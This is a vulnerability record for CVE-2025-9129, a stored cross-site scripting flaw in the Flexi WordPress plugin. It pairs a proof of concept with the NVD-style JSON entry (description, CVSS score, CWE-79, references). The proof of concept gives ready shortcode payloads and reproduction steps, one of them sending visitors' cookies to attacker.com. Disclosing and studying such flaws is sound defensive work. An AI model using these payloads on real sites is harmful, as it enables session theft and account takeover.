CVE-2025-9129

<!-- PoC for CVE-2025-9129: Flexi Plugin Stored XSS via flexi-form-tag shortcode --> <!-- Attacker with contributor-level access injects the following shortcode into a post/page --> [flexi-form-tag label="</label><script>alert(document.cookie)</script>" type="text" name="xss_test"] <!-- Alternative payloads using event handlers --> [flexi-form-tag label="Click Here" type="text" name="xss2" onmouseover="alert('XSS-'+document.domain)"] [flexi-form-tag label="<img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)>" type="text" name="xss3"] <!-- Steps to reproduce: 1. Login as Contributor or higher role user 2. Create a new post or page 3. Insert the malicious shortcode above into the content 4. Publish/save the post 5. When any user (including admin) views the post, the XSS payload executes -->

{"cve": {"id": "CVE-2025-9129", "sourceIdentifier": "[email protected]", "published": "2025-10-03T12:15:45.870", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Flexi plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin for WordPress's flexi-form-tag shortcode in all versions up to, and including, 4.28 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/flexi/trunk/includes/class-flexi-form.php#L572", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/flexi/#developers", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/ccfd4949-07ae-48b6-9aa2-82fd6b1bf692?source=cve", "source": "[email protected]"}]}}